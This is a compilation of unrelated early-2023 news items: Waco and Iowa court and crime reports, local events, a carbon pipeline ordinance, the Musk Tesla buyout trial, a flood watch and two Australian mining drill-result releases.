Harrison said the Work Live Ride proposal is based on legislation that was proposed last year, but did not pass, and applying lessons learned from that effort.
HCM CITY  Netflix has released the first images of A Tourists Guide To Love - the first international production filmed in Viet Nam since the pandemic.

Featuring an international cast including producer and star Rachael Leigh Cook, Vietnamese-American actor Scott Ly, as well as popular local actors Meritorious Artist Le Thien and rising talent Quinn Truc Tran, A Tourists Guide To Love is set to premiere globally on 27 April 2023, only on the streaming giant.

It follows the story of a travel executive (Rachel Leigh Cook) who, after an unexpected breakup, decides to accept an assignment to go undercover and learn about the tourist industry in Viet Nam. Along the way, she finds adventure and romance with her Vietnamese expat tour guide (Scott Ly) when they decide to reroute the journey in order to explore life and love off the beaten path.

The first images offer a first glimpse of A Tourists Guide To Love, showcasing many exquisite localities in Viet Nam to a global audience. These include the sparkling Thu Bon river in Hoi An, the ancient and majestic My Son sanctuary, the bustling Ben Thanh market, and a peaceful village in the Ha Giang countryside.

Rachael Leigh Cook said: Viet Nam is insanely beautiful, and the landscape is so incredibly diverse, and that's why I think it's so important that we set the movie in so many different places...the topography varies so greatly and it's such an asset to the movie and to everyone who is able to see it.

The images also tease the rich and vibrant Vietnamese culture reflected in the romantic film. In a festive Tet celebration, Rachael Leigh Cook dons a traditional ao dai, while Meritorious Artist Le Thien welcomes international guests into her cozy village home, dancing joyfully and filling the room with warmth and festive cheer.

Sharing her inspiration behind the script, Vietnamese-American writer Eirene Tran Donohue said: It was really important to me to tell a story about life in Viet Nam now. One that was full of joy and love and celebration.

"I wanted to change the conversation about Viet Nam, to highlight it as a modern thriving country whose stories are worthy of being told.  VNS
Jury selection began Monday in the trial of former city of Waco employee accused of holding a knife to a Waco police officers throat and trying to take his sidearm in July 2018.

The defendant, Ronald Louis Turner, 32, will face trial before Visiting Judge Roy Sparkman in the 19th State District Court, with opening arguments scheduled Tuesday.

An indictment charges Turner with first-degree felony aggravated assault of a peace officer and attempting to take an officers weapon, a state jail felony.

Turners charges stem from an incident at a health clinic for city employees, 1415 N. Fourth St., on July 24, 2018, the Tribune-Herald reported at the time.

Clinic staff called police to report Turner as intoxicated and in need of removal from the property, his affidavit states. As police arrived, Turner had started to attack another staff member, and a 17-year veteran police officer stepped in to break it up, the affidavit states.

Officers attempted to arrest Turner on a misdemeanor public intoxication charge, but Turner resisted, according to the affidavit. A city employee whom Turner was fighting tried to help detain Turner, the affidavit states.

Turner then reached for his knife and held it against the officers throat, the affidavit states.

"The accused, while resisting arrest, was able to get his knife open and held the knife to the (officer's) neck," the affidavit states. "Another city of Waco employee had to come to the rescue of the officer and knock the knife out of the accused hand and assist the officer in restraining the accused."

The officer attempted to subdue Turner with a stun gun, to little effect, the affidavit states. Three other witnesses tried to help the officer during the struggle, the Tribune-Herald reported at the time.

Police said Turner tried to pull the officer's gun from his holster, but an employee prevented him, the Tribune-Herald reported at the time.

"At this time, more officers arrived on scene and the accused was taken into custody," the affidavit states.

Turner was booked into McLennan County Jail, and 19th State District Court Judge Ralph Strother ordered him held without bail, records show. Strother has since retired.
Waco paralegal Ashley Stone will challenge incumbent Angelo Ochoa for the Waco Independent School District at-large Place 7 seat up for election on May 6.

Stone, 35, a paralegal with the Missouri-based Brown & Croupper Law Firm, filed Jan. 20 to run for the position.

Stone said she is concerned about the safety of Waco ISD schools for students and teachers, particularly after ongoing trustee discussions last year about the glass classroom walls included in the approved designs for the new Waco High, G.W. Carver Middle and Tennyson Middle Schools under construction.

Im hoping to bring more safety to our schools, she said, adding that could mean metal detectors, increased surveillance or on-campus volunteers.

The current problem with fights and violence against students and teachers at some schools also needs addressing, she said. Stone has two children in Waco ISD schools, a 13-year-old daughter at Tennyson Middle School and an 8-year-old son at Parkdale Elementary.

Her opponent for the at-large seat is Ochoa, a 43-year-old investment advisor elected last May to fill the unexpired term of trustee Cary DuPuy. DuPuy resigned his position in November 2021.

Also running for reelection is District 3 Trustee Jose Vidana, a postal carrier, who is seeking his second three-year term.

Deadline for filing in the Waco ISD trustee elections is 5 p.m. Feb. 17.
Constance Kristofik found a welcoming community in New London when she moved there in 2006.

Kristofik founded OutCT/New London Pride to help strengthen that community, while also being able to indulge her longtime interest in historical preservation as the executive director of New London Landmarks.

She left that role to become a prospects research specialist for the Lifespan Medical System in Rhode Island, but still volunteers for New London Landmarks and remains active in the LGBTQ community. Now, she has made a documentary that combines many of these interests.

Holding Space for Each Other: New Londons LGBTQ+ Community has been in the works for the past two years. It may be nearly another year before most people can see it, but its worth the wait.

At the start of the film, New London is described as a small riverfront city which celebrates its diversity and where the LGBTQ community has had a visible presence for over 60 years.

The film began when New London Landmarks asked Kristofik to put together a walking tour of the sites of historic gay bars in the city. She decided that theres more LGBTQ history to New London than the gay bars and expanded the scope of the concept until it became a full-length documentary. She didnt know what shape the film would ultimately take until she had done most of the interviews and research.

Kristofik was able to construct a narrative that is both chronological and theme-oriented. The documentary finds connections between the LGBTQ community, the local peace organizations of the 60s and the thriving New London arts and music scenes. The 1960s explores the peace movement and the burgeoning local LGBTQ scene, the 1970s is largely concerned with club life, the 80s with AIDS, the 90s with the arts and the last 20 years with local politics, religion and small businesses, showing the continual growth and evolution of the community.

It honors such legendary local hotspots as the Hygienic (in its original incarnation as a diner and boarding house) and Franks Place (one of the first gay bars in the area). It highlights the citys first gay mayor, Daryl Finzio, who served from 2011-15 and talks about how personally rewarding it was to be invited to march in the New London Irish Parade on St. Patricks Day, which traditionally had barred LGBTQ+ participation.

City councilor Curtis K. Goodwin, who also serves as the documentarys narrator, notes that Im a gay Black male. It continues to be a struggle because theres not that many of us in politics.

There is a section of Holding Space for Each Other devoted to welcoming and affirming churches, and another about the AIDS health crises of the 1980s. All of the issues are conveyed through hyperlocal New London anecdotes, many being shared publicly for the first time.

Kristofik is in her final week of editing the film, which runs about 85 minutes long. When its done, she will submit it to film festivals, including several in Connecticut. At the end of this year, Holding Space for Each Other will be posted for free online courtesy of New London Landmarks. The film was funded with grants from Connecticut Humanities and the State Historic Preservation Office, as well as many local sponsorships and individual donations, including a considerable investment from Kristofik herself.

One of the things Holding Space for Each Other is especially good at is taking national LGBTQ issues and milestones and connecting them to New London, which often reacted in its own small-city way to the changes. The peace movement, for example, coalesced around the building of the Polaris submarine.

Xavier Day, one of the many members of the New London LGBT community interviewed for Holding Space for Each Other. Day has been a bartender at the Brass Rail gay bar and co-chair of the New London Pride Festival.

One of the interviews is with Ric Silver, a dancer and choreographer credited with creating The Electric Slide. He happened to be at the Stonewall Inn in New York on June 28, 1969, when patrons reactions to police raids fomented the gay liberation movement. After quickly discussing his memories of that night, Silver switches to talking about the opening of the Corral bar in New London in the mid-1960s, which he says was the first time New London had a big gay bar, and it was always packed.

The film lists over a dozen LGBTQ bars from the 1960s to the present, including The Corral, Hey Judes, Faces, Mixed Nuts, Heroes and ONeills Brass Rail. Owners, performers and clients of some of those places remember community-building awards ceremonies and softball teams hosted by the bars, but they also recall harassment by local police and neighboring towns. One bar had a code to alert those from the naval base if the doormen suspected that agents of the Naval Investigative Service (the branch of the Navy that was busting gay people, as Presley puts it) were approaching.

Some of the films story is nostalgic, about Committee for Non-Violent Action meetings at the old Hygienic restaurant, a beloved diner whose name lives on as an artists collective, various social actions in the 1960s and the growth of the LGBTQ community. Organizers of some of the peace movements saw that embracing the community was a really important part of our being holistic in our approach to relationships and to changing the world, says Joanne Sheehan of the War Resisters League in the film.

The milestones Kristofik highlights often werent covered in the local or mainstream media, so she had to do a lot of original research.

Mostly, its an oral history, she says, encompassing 20 interviews with activists, artists, bar owners, politicians and others. But she also uncovered an impressive amount of film footage of marches, gatherings and club nights at legendary gay bars like Franks Place. Oh, my god, I just lucked out, Kristofik says. The club owners I was interviewing gave me all these VHS tapes that I just converted.

Xavier Day, co-chair of the New London Pride Festival and former bartender at the Brass Rail, one of the longest-lasting gay bars in the city, is one of the central voices of the film. He smoothly connects the community and historical aspects of the film with his lively take on the scene.

It was really hard to shortlist the interviews, but there was so much to cover, Kristofik says. I look at this as a sampling. I really could have done a miniseries.

A trailer for Holding Space for Each Other can be found at youtube.com/@newlondonlandmarksinformat2069/videos. The completed film will available by the end of the year.

Reach reporter Christopher Arnott at carnott@courant.com.
WATERLOO  A Washburn man has been arrested for allegedly flashing a gun during a road-rage incident.

A woman called police around 1:30 p.m. on Jan. 16 to report that a man in a pickup truck had been following her closely then pointed a gun as he sped past her on U.S. Highway 218 near Marigold Drive.

The woman, who had three young children in her vehicle, followed the pickup and called police.

An Iowa state trooper spotted the pickup going 81 mph in a 65 mph zone on Highway 218, and the truck pulled into a Washburn home. Authorities found an empty holster for a pistol on the vehicles floorboard, and a silver handgun was discovered nearby in the snow next to a privacy fence, according to court records.

Officers also found a small amount of marijuana. The driver allegedly failed field sobriety tests, court records state.

Shane Dean Gunhus, 39, was arrested for first-offense operating while intoxicated, carrying weapons while intoxicated, assault while displaying a weapon and possession of marijuana. He was released pending trial.

Photos: Iowa Games Fat Bike Race at George Wyth State Park FAT AND HAPPY Iowa Games Fat Bike Race 2 Iowa Games Fat Bike Race 3 Iowa Games Fat Bike Race 4 Iowa Games Fat Bike Race 5 Iowa Games Fat Bike Race 6 Iowa Games Fat Bike Race 7 Iowa Games Fat Bike Race 8 Iowa Games Fat Bike Race 9
According to police, a patrol officer spotted the stolen 2010 Buick Enclave around 11:30 p.m. Friday in the area of Burton Avenue and Newton Street.

The officer attempted to pull over the Buick, but it continued on for a few blocks before pulling over in the 1000 block of West Parker Street. Backen allegedly told police the vehicle belonged to his cousin, but the owner said he didnt know Backen, according to court records.
WATERLOO  One of two teens convicted in a home robbery in 2021 has been sentenced to prison.

The attorney for Wilmaris Kaihron Burt, 19, had requested probation, noting Burt had acquaintances who died from violence in Waterloo and Des Moines in the years leading up to the robbery.

Hes getting a sense of doom, of hopelessness, defense attorney Kathryn Mahoney told the court during a Monday hearing.

But Judge Andrea Dryer questioned how experiencing such pain and loss would translate into breaking into a home and terrorizing others.

Instead, she handed down a 25-year prison sentence for the charges of first-degree robbery, first-degree burglary and going armed.

It is difficult to imagine a more frightening circumstance, Dryer said. Thankfully it stopped. Thankfully no one was shot.

Authorities said Burt and Patrick Roosevelt Hickman Isabell broke open a bedroom window to a Newell Street home on July 14, 2021. They crawled inside and demanded cash and jewelry from a 19 year old at the house.

A relative sleeping in a basement bedroom heard the commotion and called 911. Burt and Isabell were arrested following a brief standoff, and officers found a 9 mm Taurus pistol after searching the home.

Dryer did note that Burt was less culpable that his co-defendant  Isabell had allegedly pointed the gun at the resident  and had taken responsibility, pleading guilty where Isabell went to trial.

She opted to run the sentences concurrent instead of adding them together. Because Burt was a juvenile at the time of the crime, mandatory minimums before parole dont apply.

Isabell, 20, was convicted of the same charges during a December 2022 trial and he is awaiting sentencing.
CEDAR FALLS  Ayanna Gregory is helping the University of Northern Iowa kick off its celebration of Black history and culture on Feb. 3.

She will perform her one-woman show, Daughter of the Struggle, which takes the audience on an unforgettable journey into the life of the legendary Dick Gregory and the family that loves him.

Sponsored by UNIs Diversity, Inclusion, and Social Justice Department, the dinner and show starts at 5:30 p.m. in the Maucker Union ballrooms. The event is free, but individuals interested in attending should secure their spot by registering in advance.

Ayanna Gregorys one-woman show is a tribute to her fathers life and a memoir of her upbringing as the daughter of a civil rights activist, portraying the sacrifices of her family and those of other freedom fighters.

Born in 1932 in St. Louis, Dick Gregory was an accomplished comedian and author and fervent civil rights leader. He was the father of 10 children, including Ayanna, and was known for his direct language when discussing race and racial inequality. He died in 2017 at the age of 84.

Ayanna describes the show as a gift that keeps on giving.

It continues to change form and is transforming me in the process, she said in a news release. It is such an honor to stand as the continuum of such a powerful legacy.

It is so important to me that my father knows who he is to me. Martin and Malcolm never got the chance to hear their children talk about them.

UNI will also host several events to celebrate Black History Month throughout February, including the African American Read-In on Feb. 16 and African American Children & Families Conference on Feb. 17. Both will be held virtually.

First-grade classrooms from schools across Iowa were invited to participate in the Read-In, which is being held for the 17th year and will feature nationally known authors Dinah Johnson and Angela Johnson.

Kenneth B. Morris Jr., a descendant of Frederick Douglass and Booker T. Washington, will speak to History, Human Rights and the Power of One, in the keynote session at the African American Children and Families Conference, being held for the 13th year. Registration is open now. Learn more online at coe.uni.edu/aacf.

UNIs Black Student Union, which recently celebrated its 50th year on campus, is also coordinating a series of events.

Photos: UNI women's basketball vs. UI Chicago, Jan. 21 WBBall UNI vs. UIC 1 WBBall UNI vs. UIC 2 WBBall UNI vs. UIC 3 WBBall UNI vs. UIC 4 WBBall UNI vs. UIC 5 WBBall UNI vs. UIC 6 WBBall UNI vs. UIC 7 WBBall UNI vs. UIC 8 WBBall UNI vs. UIC 9
Work is never done when it comes to farming and producing local food, but winters slower pace is the perfect time for several special events hosted by Cedar Valley Regional Food & Farm Network.

After a two-year absence, the organizations Farm to Fork Dinner, previously Local Food Dinner, is returning Feb. 8. In addition, the Local Food Producer/Buyer Networking Event is planned for Feb. 1 and on Feb. 25, the Farmers Market Workshop and a marketing workshop will take place.

Local producers and food buyers can participate in the networking event from 8:30 to 10:30 a.m. Feb. 1 at the Diamond Event Center, 5307 Caraway Lane, in Cedar Falls.

This is an important opportunity to connect our local food producers and buyers so they can meet in person, said UNI Local Food Program Manager Jodie Huegerich. The event is open to individuals interested in selling their food to wholesale markets and businesses interested in purchasing local food for their business, or businesses who need more local suppliers.

A speed-dating format means each buyer talks with each producer, rather than leaving meetings to chance. Those connections lead to initial conversations, Huegerich said. Its perfect timing, too, she explained, because producers are in earlier stages of planning and preparing for the growing season or food production and have time to make changes and grow something unique that a buyer requests.

Anyone interested may attend. There is no cost; preregistration required no later than Wednesday at www.cvfoodfarmnetwork.org.

The Farm to Fork Dinner on Feb. 8 will take place at the Diamond Events Center, bringing together community members to break bread with local food producers and show support for the local food system.

Changing the dinners name gives it more meaning and makes it more interesting, said Huegerich, because people understand better the idea of farm-to-fork. Its a very similar event to our previous dinners, but jazzes it up a little.

The event begins at 5:30 p.m. with a social hour, followed by the four-course dinner from 6:30 to 8 p.m., prepared by Western Home Communities chefs and using local ingredients. On the menu is a root vegetable bisque with beet garnish; green salad with cherry tomato, red onion, roasted nuts and herb vinaigrette; pork loin with butternut squash puree, roasted root vegetable medley, olive oil, and rosemary mashed potatoes or a vegan entree with quinoa polenta cakes with butternut squash puree; and apple cobbler for dessert.

There are a couple of reasons that its in February and not in summer. We can showcase that you can get local food year-round  but it looks different  and, two, we want to invited local producers to participate in a panel that isnt in the heart of the growing season, Huegerich explained.

Featured producers on the panel are Carolyn Adolphs with Adolphs Produce, Louis Beck with Beck Orchard and Ehren Marks with Marks Family Purebreds. Panelists will share details about their farms/businesses and answer questions about what they do and why it is important to the local economy, Huegerich said.

Tickets are $20 each or $120 for a table of eight (everyone will have the opportunity to choose a regular or vegan meal). Seating is limited to 75, available to purchase now through Friday at midnight at https://uni.estore.flywire.com/products?storeCatalog=8501.

New and returning farmers market vendors can attend a Farmers Market Workshop from 9 a.m. to noon Feb. 25 at the Waterloo Center for the Arts, 225 Commercial St. There is no charge to attend, but RSVPs are due by Feb. 15 at www.cvfoodfarmnetwork.org.

Topics covered will apply to all vendors and all markets.

A marketing workshop follows Feb. 25 from 1 to 4 p.m. at the same location. It is designed for food and farm businesses considering using social media or those who already use social media but want to learn more about its effective use. Karen Everling, founder of World Grace Project and owner of Muse Photo Designs consulting, will provide hands-on experience posting to Facebook, using Canva for branding and the benefits of using Google Place.

Reservations are due Feb. 1. It is recommended that participants bring a laptop, smartphone, logo files on the laptop and several digital photos of products or farm.

Cedar Valley farmers markets over the years 091919kw-food-market-01 080620-curbside-market-2 080620-curbside-market-3 080620-curbside-market-1 DaQuan Campbell, Waterloo Urban Farmers Market 052018tn-nws-farmers-market2 052018tn-nws-farmers-market Cedar Falls Farmers Market 2017 Cedar Falls Farmers Market 2017 050817mp-farmers-market-1 050817mp-farmers-market-3 052816mp-CF-farmers-market-1 052816mp-CF-farmers-market-4 farmers market file 2 052816mp-CF-farmers-market-2 051016mp-Greens-to-Go-fundraiser-2 050716cc-farmers-market-01 050716cc-farmers-market-03 050716cc-farmers-market-02 053015cc-farmers-market-wild-art-03 072515bp-waterloo-farmers-market-2 072515bp-waterloo-farmers-market-3 farmers market file 1 071515mp-church-row-neighborhood-2 071515mp-church-row-neighborhood-3 071515mp-church-row-neighborhood-1 053015cc-farmers-market-wild-art-02 053015cc-farmers-market-wild-art-03 102314FILE-farmers-market-3 102314FILE-farmers-market-2 102314FILE-farmers-market-1 042914FILE-CF-farmers-market-1 042914FILE-CF-farmers-market-2 092313ho-College-Hill-Farmers-Market 051813mp-Jraes-pupcakery-1 051813mp-Jraes-pupcakery-3 051813mp-Jraes-pupcakery-2 060613cc-farmers-market-04 060613cc-farmers-market-05 060613cc-farmers-market-03 060613cc-farmers-market-01 072513cc-farmers-market-02 060613cc-farmers-market-02 072513cc-farmers-market-01
WAVERLY  The Bremer County Board of Supervisors has a date for the final step involved in getting a local land use and zoning ordinance regulating carbon pipeline projects to the finish line.

Supervisors on Monday set Feb. 13 at 11 a.m. for the first of three readings on the 18-page measure, essentially establishing setbacks for the proposed project thats poised to pass across its borders, as well as through other northeast Iowa counties  Butler, Floyd, Buchanan, Hardin, Franklin, Fayette and Delaware.

This is aggressive, and I dont know if were fixing anything, but we cant be accused of not trying, said Supervisor Dewey Hildebrandt.

The minimum separation distances proposed are:

City limits of an incorporated citytwo miles.

Church, school, nursing home, long-term care facility, or hospitalhalf a mile.

Public park, conservation area, sensitive area, or public recreation areahalf a mile.

Occupied structurehalf a mile.

Animal feeding operation or facility  1,000 feet.

Electric power generating facility with a nameplate capacity of 5 megawatts or more; an electric transmission line operating at 69 kilovolts or more; an electric transmission substation; a public drinking water treatment plant; or a public wastewater treatment plant  1,000 feet.

Private water supply wells200 feet.

Navigator has applied for a hazardous liquid pipeline permit from the Iowa Utilities Board but has not yet received one. In the Iowa Senate, five bills were introduced last week that could severely restrict the ongoing plans of Navigator and two other companies planning to build pipelines in the state.

Hildebrandt noted before the vote setting the date that his only contention with the proposed ordinance was the hardship he felt they might be creating for residents with any unintended consequences impacting growth and development. Lindsey Lambert, county building and zoning administrator, replied by saying thats why applicants can request variances, and noted the supervisors could make revisions to the ordinance down the road.

Another possibility previously acknowledged by officials has been that the county will be putting itself at risk of being sued, as has been the case for Story and Shelby counties when they passed similar ordinances and were taken to court by Summit Carbon Solutions, one of the other pipeline companies.

Supervisor Ken Kammeyer noted after the meeting that the company reached out a few weeks ago with concerns, suggesting the setbacks are not workable. But our job is to protect peoples safety, he said.

Kammeyer also contended the proposed well setbacks were not far enough.

Protecting citizens was one reason Supervisor Corey Cerwinske pointed out the proposed ordinance was on the table as well as how it reinforces local control. It clarifies our authority to dictate land use, he said afterwards.

To get a copy of the measure, contact the Bremer County Building & Zoning Office at (319) 352-0332.

The Planning and Zoning Commission recommended its adoption after the county mirrored the one passed in Shelby County with specialized counsel Timothy Whipple of Ahlers & Cooney.

Iowa Capital Dispatch contributed to this story.

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SAN FRANCISCO  Elon Musk returned to federal court to defend himself against a class-action lawsuit that alleges he misled Tesla shareholders with a tweet about an aborted buyout that the billionaire defiantly insisted Tuesday he could have pulled off, had he wanted.

Musk spent roughly three more hours on the stand during his third day of testimony before being excused by U.S. District Judge Edward Chen. It's unlikely Musk, 51, will be summoned back to the witness stand during a civil trial expected to be turned over to a nine-person jury in early February.

Musk, who also owns Twitter while continuing to run Tesla, spent much of Tuesday depicting himself, while being questioned by his own attorney, Alex Spiro, as an impeccably trustworthy business leader capable of raising as much money as he needs to pursue his visions. He testily sparred with a shareholder lawyer, Nicholas Porritt, who raised his ire earlier in the trial.

At two separate junctures Tuesday under Spiro's gentle prodding, Musk left no doubt about his contempt for Porritt with a remark expressing doubt that the lawyer was looking out for the best interests of Tesla shareholders. The remarks drew a quick rebuke from the judge and were stricken from the record. "It's inappropriate," Chen at one point admonished Musk.

When he was being challenged by Porritt, Musk purposefully diverted his gaze from the lawyer and delivered his explanations while looking directly at the jurors sitting a few feet to his right. In another instance, Musk asserted, without elaborating, that a question from Porritt wondering if he had ever caused investors to suffer losses contained "falsehoods."

On the flip side, Spiro at one point mistakenly addressed Musk as "your honor" while asking the billionaire how much money he had made for investors during his career. The slipup elicited a moment of levity in the San Francisco courtroom filled with media and other spectators in attendance to listen to Musk.

The current trial hinges on whether a pair of tweets Musk posted on Aug. 7, 2018, damaged Tesla shareholders during a 10-day period leading up to his admission that the buyout he had envisioned wasn't going to happen. The statements resulted in Musk and Tesla reaching the $40 million settlement without acknowledging any wrongdoing.

In the first of the 2018 tweets, Musk stated "funding secured" for what would have been a $72 billion  or $420 per share  buyout of Tesla at a time when the electric automaker was still grappling with production problems and was worth far less than it is now. Musk followed up a few hours later with another tweet suggesting a deal was imminent.

After those tweets, Musk declared Tesla would remain public a few weeks later. A month after that, Musk and Tesla reached the $40 million settlement with securities regulators who alleged the tweets were misleading.

Musk previously contended he entered into the settlement under duress and maintained he never wavered in his belief that he had the money for a deal.

He spent most of Tuesday trying to persuade the jurors that there was nothing devious about the two tweets indicating he had lined up the money to take the electric automaker private. The judge already declared the jurors can consider those two tweets to be false, leaving them to decide whether Musk deliberately deceived investors and whether his statements saddled them with losses.

While being steered by Spiro, Musk told jurors he had stated only that he was "considering" a Tesla buyout but never promised a deal would get done. But, Musk said, he thought it important to get the word out to investors that Tesla might be poised to end its eight-year run as a publicly held company.

"I had no ill motive," Musk said. "My intent was to do the right thing for all shareholders."

While being grilled the day before by Porritt, Musk at times was combative, indignant and exasperated.

Musk has insisted he locked up financial backing for what would have been a $72 billion buyout of Tesla during 2018 meetings with representatives from Saudi Arabia's Public Investment Fund, although no specific funding amount or price was discussed.

When presented with texts and email indicating that a representative for the Saudi fund never pledged the money for a buyout of Tesla, Musk contended it was nothing more than the words of someone trying to backpedal from a previous pledge made in private.

Not long after Porritt resumed questioning Tuesday, Musk again scoffed at the notion that his belief that he had the financial backing wasn't enough for him to tweet about a potential Tesla buyout.

"We are talking about the kingdom of Saudi Arabia," Musk testified. "They can buy Tesla several times over. This was not a large amount of money for them."

Musk also reiterated that he could finance a Tesla buyout by sharing some of his holdings in SpaceX, a privately held maker of rocket ships that he started. That would be similar to what he did in the Twitter purchase, which led him to sell about $23 billion of his Tesla stock.

That's something he didn't want to do, Musk said Tuesday, but showed he had the wherewithal to pull together purchases for expensive deals.
Weather Alert

.Warming temperatures this weekend will bring renewed snowmelt and streamflow rises, especially for snow covered terrain below about 7000 feet. Creeks that brought impacts this past week are likely to be problematic again and potentially reach higher levels, especially by late Sunday. ...FLOOD WATCH FOR SNOWMELT IN EFFECT FROM SATURDAY AFTERNOON THROUGH MONDAY MORNING... * WHAT...Flooding caused by snowmelt is possible. * WHERE...Portions of California and western Nevada, including the following areas, in California, Greater Lake Tahoe Area, Lassen-Eastern Plumas-Eastern Sierra Counties and Surprise Valley California. In western Nevada, Greater Lake Tahoe Area, Greater Reno-Carson City-Minden Area and Mineral and Southern Lyon Counties. * WHEN...From Saturday afternoon through Monday morning. * IMPACTS...Creeks and streams will be running high and fast. Low-water crossings may be flooded. Minor mainstem flooding along the Susan River, Forks of the Carson River, and the East Walker River below Bridgeport Reservoir cannot be ruled out. Anyone participating in outdoor recreation this weekend should use caution as water will be running high, fast, and potentially out of banks for some creeks and streams. The water will be extremely cold as well, quickly causing shock. * ADDITIONAL DETAILS... - http://www.weather.gov/safety/flood PRECAUTIONARY/PREPAREDNESS ACTIONS... You should monitor later forecasts and be alert for possible Flood Warnings. Those living in areas prone to flooding should be prepared to take action should flooding develop. &&
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Further gold intersections, West Island Cue JV

Perth, Jan 24, 2023 AEST (ABN Newswire) - Musgrave Minerals Ltd ( ASX:MGV ) ( 6MU:FRA ) ( MGVMF:OTCMKTS ) is pleased to report further assay results (Tables 1a and 2a*) from diamond drilling on the Cue Joint Venture with Evolution Mining Limited ("Evolution") in Western Australia's Murchison district.



Diamond drilling completed by Evolution at the West Island prospect, approximately 6km north of Break of Day, continues to intersect strong gold intersections within a basement dolerite host unit.



Diamond drilling continues to confirm that the geology and structure of the West Island prospect is characterised by multiple, stacked narrow high-grade intercepts within a broader lower grade envelope along the 1.6km mineralised trend (Figure 1).



Musgrave Managing Director Rob Waugh said: "These are another set of good results from West Island and continue to define the scope of the basement gold mineralisation. The joint venture committee will meet in February to approve the ongoing exploration program for H1 CY2023."



Cue JV Drilling Program



Evolution drilled a further 9 diamond holes for 4,091m on the Cue JV of which six with assays received are reported in this release. The drilling program is targeting the key mineralised gold lodes to determine the scale of the mineral system at West Island (Figure 2*). The mineralised lodes are interpreted as a series of stacked shears and veins, with associated high-grade splays.



The significant new diamond drill core intercepts at West Island and the Estimated True Width (ETW) of the intersections are as follows:



o 5.5m (3.8m ETW) @ 4.16g/t Au from 349.5m (22CUDD019A)

o 11.5m (8.0m ETW) @ 8.71g/t Au from 235.5m (22CUDD021), including:

o 1.0m (0.9m ETW) @ 66.0g/t Au from 238m and

o 7.0m (4.9m ETW) @ 5.16g/t Au from 393m (22CUDD021)

o 1.0m (0.9m ETW) @ 44.5g/t Au from 87m (22CUDD022), and

o 5.0m (3.5m ETW) @ 4.82g/t Au from 124m (22CUDD022), and

o 12.7m (8.9m ETW) @ 3.60g/t Au from 329m (22CUDD022)



Evolution drilled a further 63 aircore drill holes for approximately 6,167m on the Cue JV.



Cue Joint Venture - Background



In October 2019, Musgrave entered into the Cue JV with Evolution over a large area of Lake Austin and surrounds on the Cue Project in the Murchison District of Western Australia (see MGV ASX announcement dated 17 September 2019, "Musgrave and Evolution sign an $18 million Earn-In JV and $1.5M placement to accelerate exploration at Cue").



Evolution satisfied the earn-in requirement to earn a 75% interest in the joint venture by sole funding A$18M on exploration. Evolution is the operator of the JV and is managing the ongoing drilling programs.



The Cue JV with Evolution lies to the north of, and excludes, all of the Company's 100% owned Mineral Resources at Cue (Lena, Break of Day, White Heat-Mosaic and Big Sky deposits), and the Mainland option area.



Musgrave - Evolution Cue Joint Venture - Ongoing Exploration



o A joint venture committee has been established and will meet in February.



o A data review is currently underway and a program and budget for ongoing exploration will be considered by the JV committee.



o Musgrave has the right to contribute or can elect to dilute once the program and budget has been approved by the committee.



*To view tables and figures, please visit:

https://abnnewswire.net/lnk/519N6TL6





About Musgrave Minerals Ltd





Musgrave Minerals Ltd (ASX:MGV) is an active Australian gold and base metals explorer. The Cue Project in the Murchison region of Western Australia is an advanced gold and copper project. Musgrave has had significant exploration success at Cue with the ongoing focus on increasing the gold and copper resources through discovery and extensional drilling to underpin studies that will demonstrate a viable path to development in the near term. Musgrave also holds a large exploration tenement package in the Ni-Cu-Co prospective Musgrave Province in South Australia.


Exploration Update - Significant Cu-Au-Ag Intersections

Melbourne, Jan 24, 2023 AEST (ABN Newswire) - Cohiba Minerals Limited ( ASX:CHK ) ( CHKMF:OTCMKTS ) is pleased to announce significant copper, gold and silver intersections from the Bluebush Fault at the Horse Well project (Figure 1*).



Cohiba's CEO, Andrew Graham says, "The Horse Well Prospect remains a key IOCG target area within the Gawler Craton and we are committed to investigating it to the fullest extent possible. The Bluebush Fault is a significant dilational structure which coupled to the major NW-SE structural corridor and pervasive low-level copper mineralisation in multiple holes provides ample justification for ongoing exploration. The separate target zone around HWDD08 also confirms that this area is highly prospective for IOCG mineralisation. Cohiba is continuing to apply in-depth technical assessment on every drill hole with the aim of narrowing its search area and maximising its likelihood for exploration success."



INTRODUCTION



HWDD07 was drilled at Horse Well prospect during the period 29 July 2022 - 3 September 2022, with basement being reached at 930.35m down hole and completion depth of 1519m. The target was the south extension of the Bluebush Fault, which had been previously identified in drillholes HWDD04, HWDD05 and HWDD05W1. The specific aims of the hole were to gain more confidence in the exact orientation of the fault, which was successfully intersected in HWDD07, and to test the strike extension to the south in a region of magnetic low.



RESULTS



In the hanging wall of the Bluebush Fault, quartz-grey hematite-chalcopyrite-pyrite veins were commonly encountered. Hematite replaces the niche of magnetite, indicating a relative increase in oxidation. The indicated orientation of Bluebush Fault is of strike 0-20deg and dip of 60-70deg to the west. The upper Bluebush Fault (1141.8-1167.2) was strongly altered to red feldspars accompanied by minor actinolite, and moderate mineralisation in the form of quartz-siderite-chalcopyrite-pyrite veining.



o 14m @ 0.19% Cu & 0.21ppm Au & 2.16ppm Ag from 1147-1161m



The lower Bluebush Fault (1218.1-1220.4m) comprised of a breccia with siderite matrix containing trace chalcopyrite-pyrite.



o 1m @ 0.63% Cu & 0.19ppm Au & 1.2ppm Ag from 1240-1241m



Quartz-siderite and quartz-hematite+/-magnetite veins associated with chalcopyrite and pyrite occur sporadically to the bottom of hole.



Immediately below the basement contact at 930m (downhole) remobilization and enrichment of silver and gold occurred in the paleo-weathering horizon when the basement was exposed and eroding prior to the deposition of the Pandurra formation ~1.5 billion years ago and subsequently, along this contact. Similar enrichment is also observed in HWDD04, HWDD05 (only partially assayed) and HWDD05W1. Copper is generally depleted in this zone although may be re-deposited at the base in the mineral bornite.



HWDD04 Pandurra basal conglomerate at basement contact:



o 1.1m @ 0.02% Cu & 4.79ppm Au & 3.51ppm Ag from 948.21-949.31m



HWDD05 immediately below basement contact in weathered granite:



o 2m @ 0.01% Cu & 5.2ppm Au & 1.05ppm Ag from 928m



HWDD05W1 in weathered granite and oxidised veins



o 50m @ 0.29% Cu & 0.3ppm Au & 2.11ppm Ag from 956-1006m





HWDD07 in weathered schist, diorite and granite, with bornite at the base of paleo-weathering o 17.15m @ 0.22% Cu & 0.1ppm Au & 2.69ppm Ag from 969.85-987m



The remobilization and enrichment of silver and gold in the paleo-weathering zone over 300m strike length (Figure 2*) is a positive indication of substantive mineralisation in this region, analogous to a very strong soil anomaly at surface.



